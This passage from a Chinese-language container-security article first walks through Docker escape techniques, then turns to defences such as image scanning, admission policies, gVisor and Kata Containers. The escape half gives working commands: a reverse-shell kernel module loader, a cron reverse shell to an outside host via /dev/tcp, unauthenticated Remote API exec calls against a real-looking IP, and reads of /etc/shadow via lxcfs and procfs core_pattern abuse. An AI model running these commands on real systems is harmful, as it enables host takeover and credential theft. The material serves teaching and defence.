        puts("Usage ./insmod.o mymodule.ko [args="" [use_finit=0]"");
        return EXIT_FAILURE;
    }

    if (argc < 3) {
        params = “”;
    } else {
        params = argv[2];
    }

    if (argc < 4) {
        use_finit = 0;
    } else {
        use_finit = (argv[3][0] != ‘0’);
    }

    /* Action. */
    fd = open(argv[1], O_RDONLY);
    if (use_finit) {
        puts(“finit”);
        if (finit_module(fd, params, 0) != 0) {
            perror(“finit_module”);
            return EXIT_FAILURE;
        }

        close(fd);
    } else {
        puts(“init”);
        fstat(fd, &st);
        image_size = st.st_size;
        image = malloc(image_size);
        read(fd, image, image_size);
        close(fd);

        if (init_module(image, image_size, params) != 0) {
            perror(“init_module”);
            return EXIT_FAILURE;
        }

        free(image);
    }   
    return EXIT_SUCCESS;
}

編譯之後產生可執行文件insmond.o

gcc insmod.c -o insmod.o

運行insmod.o加載內核模塊reverse-shell.ko,執行反彈shell。

2.2)cap_sys_admin導致容器逃逸

當容器以--cap-add=SYSADMIN啓動,Container進程就被允許執行mount、umount等一系列系統管理命令,如果攻擊者此時再將外部設備目錄掛載在容器中就會發生Docker逃逸。

docker run -idt –name notify_on_release_test_666 –cap-add=SYS_ADMIN  ubuntu:18.04
2.3)cap_sys_ptrace &&–pid=host導致容器逃逸

cap_sys_ptrace權限允許對進程進行注入,當容器的pid namespace使用宿主機時便打破了進程隔離,從而使得容器可以對宿主機的進程進行注入,從而導致容器逃逸的風險。

創建CAP_SYS_PTRACE容器,

docker run -idt –name sys_ptrace_test666 –pid=host –cap-add SYS_PTRACE  ubuntu:18.04

3)不安全的docker.sock掛載導致逃逸

Docker採用C/S架構,我們平常使用的Docker命令中,docker即爲client,Server端的角色由docker daemon(docker守護進程)扮演,二者之間通信方式有以下3種:

  • unix:///var/run/docker.sock
  • tcp://host:port
  • fd://socketfd

其中使用docker.sock進行通信爲默認方式,Docker Socket是Docker守護進程監聽的Unix域套接字,用來與守護進程通信。如果將Docker Socket(/var/run/docker.sock)掛載到容器內,則在容器內可以控制主機上的Docker創建新的惡意容器,從而實現逃逸。

所以本質上,

  • 如果攻擊者可以劫持容器內某個進程訪問docker socket
  • 如果攻擊者可以通過HTTPS API直接訪問容器的docker socket

則攻擊者可以執行Docker Deamon服務能夠運行的任意命令,以root權限運行的Docker服務通常可以訪問整個主機系統。

若容器A可以訪問docker socket,我們便可在其內部安裝client(docker),通過docker.sock與宿主機的server(docker daemon)進行交互,運行並切換至不安全的容器B,最終在容器B中控制宿主機。

下面給出一個簡單的案例演示。

運行一個掛載/var/run/的容器,

docker run -it -v /var/run/:/host/var/run/ 174c8c134b2a /bin/bash

尋找掛載的sock文件,

find / -name docker.sock

在容器內安裝docker client,即docker,

apt-get update
apt-get install docker.io

查看宿主機docker信息,

docker -H unix:///host/var/run/docker.sock info

藉助docker.sock,操控宿主機運行一個新容器並掛載宿主機根路徑,並跳轉到新容器中,

docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash

寫入計劃任務到宿主機,

echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root

4)容器Remote API未授權訪問導致容器信息泄露及容器被入侵

docker swarm中默認通過2375端口通信。綁定了一個Docker Remote API的服務,可以通過HTTP、Python、調用API來操作Docker。

使用以下方式啓動docker,

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

查看docker啓動信息,

docker -H unix:///var/run/docker.sock info

在沒有其他網絡訪問限制的主機上使用,則會在公網暴漏端口。

http://120.55.183.192:2375/version

此時訪問/containers/json,便會得到所有容器id字段, 

http://120.55.183.192:2375/containers/json

創建一個 exec,

curl -d "@exec.json" -H "Content-Type: application/json" -X POST http://120.55.183.192:2375/containers/998ed001d8f6ee6140d1c7a9ade273d88255e72eb38a0903890adbf704a7b84e/exec

//exec.json
{ "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true } 

發包後返回exec的id參數用於後續觸發任務。

執行exec中的命令,成功讀取passwd文件,

curl -d "@exec_start.json" -H "Content-Type: application/json" -X POST http://120.55.183.192:2375/exec/142c0cf96450911b372a97ead94e9b94ff626b1e41967ffb0bb36fab4f775d93/start --output out.json

// exec_start.json
{
 "Detach": false,
 "Tty": false
}

這種方式只是獲取到了docker主機的命令執行權限,但是還無法逃逸到宿主機。 

藉助不安全的docker.sock掛載這種攻擊方式,可以通過寫公鑰或者計劃任務逃逸到宿主機。

docker -H unix:///var/run/docker.sock ps

在容器內安裝docker,

apt-get update
apt-get install docker.io

查看宿主機docker鏡像信息,

docker -H tcp://120.55.183.192:2375 images

啓動一個容器並將宿主機根目錄掛在到容器的test目錄,

docker -H tcp://120.55.183.192:2375 run -it -v /:/test 174c8c134b2a /bin/bash

之後可以通過計劃任務、寫入公鑰等方式實現宿主機劫持。 

參考鏈接: 

https://gist.github.com/subfuzion/08c5d85437d5d4f00e58 
https://xz.aliyun.com/t/12495

5)掛載lxcfs導致容器逃逸

lxcfs 是一個開源的用戶態文件系統,當容器掛載了lxcfs 目錄時便包含了cgroup目錄,且對cgroup有寫權限,從而可以實現逃逸。

在宿主機上安裝並運行lxcfs。

yum install epel-release
yum install debootstrap perl libvirt
yum install lxc lxc-templates
wget https://copr-be.cloud.fedoraproject.org/results/ganto/lxc3/epel-7-x86_64/01041891-lxcfs/lxcfs-3.1.2-0.2.el7.x86_64.rpm
yum install lxcfs-3.1.2-0.2.el7.x86_64.rpm

運行lxcfs:

lxcfs /var/lib/lxcfs &

docker起一個掛載lxcfs的容器:

docker run -idt  –name lxcfs_devices_allow_test666 -v /var/lib/lxcfs:/tmp/lxcfs:rw –cap-add=SYS_ADMIN ubuntu:18.04

文件系統類型爲xfs需要mount權限,因此需要–cap-add=SYS_ADMIN。

若文件系統是ext2/ext3/ext4,則可以直接使用debugfs查看文件,不需要–cap-add=SYS_ADMIN。

進入容器可以查看lxcfs的掛載位置,可見其目錄下包含cgroup:

mount|grep lxcfs

重寫devices.allow,設置容器允許訪問所有類型設備:

echo a > /tmp/lxcfs/cgroup/devices/docker/8d8f19d5f3177028e32cd7bb6453c8b84f233e30473f3bd41a6568bfe502ed8d/devices.allow

查看/etc目錄的node號和文件系統類型:

cat /proc/self/mountinfo | grep /etc | awk ‘{print $3,$8}’ | head -1

創建設備:

mknod host b 253 0

由於是xfs文件系統,先掛載設備:

mkdir /tmp/host_dir && mount host /tmp/host_dir

然後查看祕鑰文件:

cat /tmp/host_dir/etc/shadow

6)掛載procfs導致容器逃逸

procfs是一個僞文件系統,它動態反映着系統內進程及其他組件的狀態,其中有許多十分敏感重要的文件。因此,將宿主機的procfs掛載到不受控的容器中也是十分危險的,可以導致容器逃逸。

/proc/sys/kernel/core_pattern文件是負責進程奔潰時內存數據轉儲的,當第一個字符是管道符|時,後面的部分會以命令行的方式進行解析並運行,利用該解析方式,我們可以進行容器逃逸。

漏洞利用原理簡單來說如果下:將用戶指定的shell命令指向宿主機/sys/kernel/core_pattern文件,在容器空間通過segment fault觸發core dump,進而觸發shellcode執行。

創建一個容器並掛載/proc/sys/kernel/core_pattern目錄:

docker run -idt –name mnt_procfs_test_666 -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04

進入容器,找到當前容器在宿主機下的絕對路徑,

cat /proc/mounts | xargs -d ‘,’ -n 1 | grep workdir

寫入反彈 shell 到目標的 core_pattern目錄下,

echo -e “|/var/lib/docker/overlay2/ce9e4f107a0ba6c3b175462c049bcda5f18dad1ed9f87dfbce3ee0a53dceadd4/merged/tmp/.r.py \rcore    ” >  /host/proc/sys/kernel/core_pattern

然後在容器裏運行一個可以崩潰的C程序,

#include<stdio.h>
int main(void)  {

  int *a  = NULL;
  *a = 1;
  return 0;

}

編譯程序並執行後,攻擊機收到宿主機反彈的shell。

gcc t.c -o ttt 

參考鏈接:

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts
https://zone.huoxian.cn/d/1204-proc
https://blog.nsfocus.net/docker/
https://github.com/teamssix/container-escape-check
https://wiki.teamssix.com/cloudnative/docker/container-escape-check.html
https://paper.seebug.org/1474/
https://github.com/cdk-team/CDK/

0x2:從容器運行生命週期角度看容器安全

從軟件運行生命週期角度看,”容器安全“可以抽象爲以下結構:

  • 構建時安全(Build)
  • 部署時安全(Deployment)
  • 運行時安全(Runtime)

1、構建時安全(Build)

據 Prevasio 對於託管在 Docker Hub 上 400 萬個容器鏡像的調查統計,有 51% 的鏡像存在高危漏洞;另外有 6432 個鏡像被檢測出包含惡意木馬或挖礦程序,而光這 6432 個惡意鏡像就已經被累計下載了 3 億次。 

如何應對這些潛伏於鏡像製品中的安全挑戰,

  • 一方面要求企業應用開發者在構建應用鏡像時使用可信的基礎鏡像,規範化鏡像構建流程, 保證鏡像最小化
  • 一方面阿里雲 ACR 容器鏡像服務針對鏡像構建流程中的安全風險,提供了倉庫權限的訪問控制,操作審計和鏡像安全掃描等基礎能力。其中鏡像安全掃描是用戶能夠主動發現安全漏洞的基礎手段,ACR 容器鏡像服務和阿里云云安全中心提供了不同版本的鏡像漏洞庫,在支持鏡像深度掃描的同時具備漏洞庫的實時更新能力,滿足企業安全合規需求。在阿里雲容器鏡像服務企業版中還可以通過創建和管理交付鏈實例,將安全掃描和分發流程自由組合並內置到自動化任務中並且自動攔截包含漏洞的鏡像,確保分發到倉庫中鏡像的安全性。

在鏡像構建環節,除了及時發現鏡像漏洞,如何在保證鏡像在分發和部署時刻不被惡意篡改也是重要的安全防護手段,這就需要鏡像的完整性校驗。在阿里雲容器服務企業版實例中,企業安全管理人員可以配置加簽規則用指定的 KMS 密鑰自動加簽推送到倉庫中的鏡像。

2、部署時安全(Deployment) 

K8s 原生的 admission 准入機制爲應用部署時提供了校驗機制。

  • 濫用特權容器
  • 敏感目錄掛載
  • 以 root 用戶啓動容器

這些常見的應用模板配置都很可能成爲容器逃逸攻擊的跳板。K8s 原生的 PSP 模型通過策略定義的方式約束應用容器運行時刻的安全行爲。ACK 容器服務提供面向集羣的策略管理功能,幫助企業安全運維人員根據不同的安全需求定製化 PSP 策略實例,同時綁定到指定的 ServiceAccount 上,對 PSP 特性的一鍵式開關也面向用戶屏蔽了其複雜的配置門檻。此外,ACK 容器服務還支持 gatekeeper 組件的安裝管理,用戶可以基於 OPA 策略引擎更爲豐富的場景下定製安全策略。

針對應用鏡像在部署時刻的安全校驗需求,谷歌在 18 年率先提出了Binary Authorization 的產品化解決方案。ACK 容器服務也在去年初正式落地了應用部署時刻的鏡像簽名和驗籤能力。通過安裝定製化的 kritis 組件,企業安全運維人員可以通過定製化的驗籤策略保證應用部署鏡像的安全性,防止被篡改的惡意鏡像部署到企業生產環境中。

3、運行時安全(Runtime)

企業應用的穩定運行離不開運行時刻的安全防護手段。ACK 容器服務和雲安全中心團隊合作,面向

  • 容器內部入侵
  • 容器逃逸
  • 病毒和惡意程序
  • 異常網絡連接等

常見的運行時刻攻擊行爲進行 實時監控和告警。

與此同時,ACK 容器服務基於業界安全基線和最佳實踐,面向集羣內運行應用提供了一鍵化的免費 安全巡檢能力,通過巡檢任務及時暴露運行中容器應用在健康檢查/資源限制/網絡安全參數/安全參數等配置上不符合基線要求的危險配置,並提示用戶修復建議,避免可能發生的攻擊。

對於安全隔離程度要求較高的企業客戶可以選擇使用安全沙箱容器集羣,安全沙箱容器基於輕量虛擬化技術實現,應用運行在獨立的內核中,具備更好的安全隔離能力,適用於不可信應用隔離、故障隔離、性能隔離、多用戶間負載隔離等多種場景。

0x3:容器安全架構體系技術

1、安全容器

安全容器的技術本質就是隔離。gVisor和Kata Container是比較具有代表性的實現方式,目前學術界也在探索基於Intel SGX的安全容器。

  • gVisor是在用戶態和內核態之間抽象出一層,封裝成API,有點像user-mode kernel,以此實現隔離。
  • Kata Container採用了輕量級的虛擬機隔離,與傳統的VM比較類似,但是它實現了無縫集成當前的Kubernetes加Docker架構。

1)gVisor

gVisor是用Golang編寫的用戶態內核,或者說是沙箱技術,它主要實現了大部分的system call。它運行在應用程序和內核之間,爲它們提供隔離。

gVisor被使用在Google雲計算平臺的App Engine、Cloud Functions和Cloud ML中。

gVisor運行時,是由多個沙箱組成,這些沙箱進程共同覆蓋了一個或多個容器。通過攔截從應用程序到主機內核的所有系統調用,並使用用戶空間中的Sentry處理它們,gVisor充當guest kernel的角色,且無需通過虛擬化硬件轉換,可以將它看做vmm與guest kernel的集合,或是seccomp的增強版。

2)Kata Container

Kata Container的Container Runtime是用hypervisor ,然後用hardware virtualization實現,如同虛擬機。所以每一個像這樣的Kata Container的Pod,都是一個輕量級虛擬機,它擁有完整的Linux內核。所以Kata Container與VM一樣能提供強隔離性,但由於它的優化和性能設計,同時也擁有與容器相媲美的敏捷性。

Kata Container在主機上有一個kata-runtime來啓動和配置新容器。

對於Kata VM中的每個容器,主機上都有相應的Kata Shim。

Kata Shim接收來自客戶端的API請求(例如Docker或kubectl),並通過VSock將請求轉發給Kata VM內的代理。

Kata容器進一步優化以減少VM啓動時間。同時使用QEMU的輕量級版本NEMU,刪除了約80%的設備和包。VM-Templating創建運行Kata VM實例的克隆,並與其他新創建的Kata VM共享,這樣減少了啓動時間和Guest VM內存消耗。 Hotplug功能允許VM使用最少的資源(例如CPU、內存、virtio塊)進行引導,並在以後請求時添加其他資源。

3)gVisor VS Kata Container 

綜合來看,gVisor設計上比Kata Container更加的“輕”量級,但gVisor的性能問題始終是一道暫時無法逾越的“天塹”。綜合二者的優劣,Kata Container目前更適合企業內部。

總體而言,安全容器技術還需做諸多探索,以解決不同企業內部基礎架構上面臨的各種挑戰。

2、安全內核

Linux內核面臨的問題可以用下圖簡要表示:
  • 內核補丁:當一個安全漏洞被披露,通常是由漏洞發現者通過Redhat、OpenSuse、Debian等社區反饋或直接提交至上游相關子系統maintainer。在企業內部面臨多個不同內核大版本、內核定製化,針對不同版本從上游代碼backport相關補丁及製作相關熱補丁,定製內核還需對補丁進行二次開發,再升級生產環境內核或Hotfix內核。不僅修復週期過長,而且在修復過程中,人員溝通也存在一定的成本,也拉長了漏洞危險期。在危險期間,我們對於漏洞基本是毫無防護能力的。
  • 內核版本碎片化:內核版本碎片化在任意具備一定規模的公司都是無法避免的問題。隨着技術的日新月異,不斷迭代,基礎架構上的技術棧需要較新版本的內核功能去支持,久而久之就產生內核版本的碎片化。碎片化問題的存在,使得在安全補丁的推送方面,遭遇了很大的挑戰。本身補丁還需要做針對性的適配,包括不同版本的內核,並進行測試驗證,碎片化使得維護成本也變得十分高昂。最重要的是,由於維護工作量大,必然拉長了測試補丁的時間線。也就是說,暴露在攻擊者面前的危險期變得更長,被攻擊的可能性也大大增加。
  • 內核版本定製化:同樣,因不同公司的基礎架構不同、需求不同,導致的定製化內核問題。對於定製化內核,無法簡單的通過從上游內核合併補丁,還需對補丁做一些本地化來適配定製化內核。這又拉長了危險期。

參考鏈接:

https://tech.meituan.com/2020/03/12/cloud-native-security.html
https://www.secrss.com/articles/29877

 

 

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章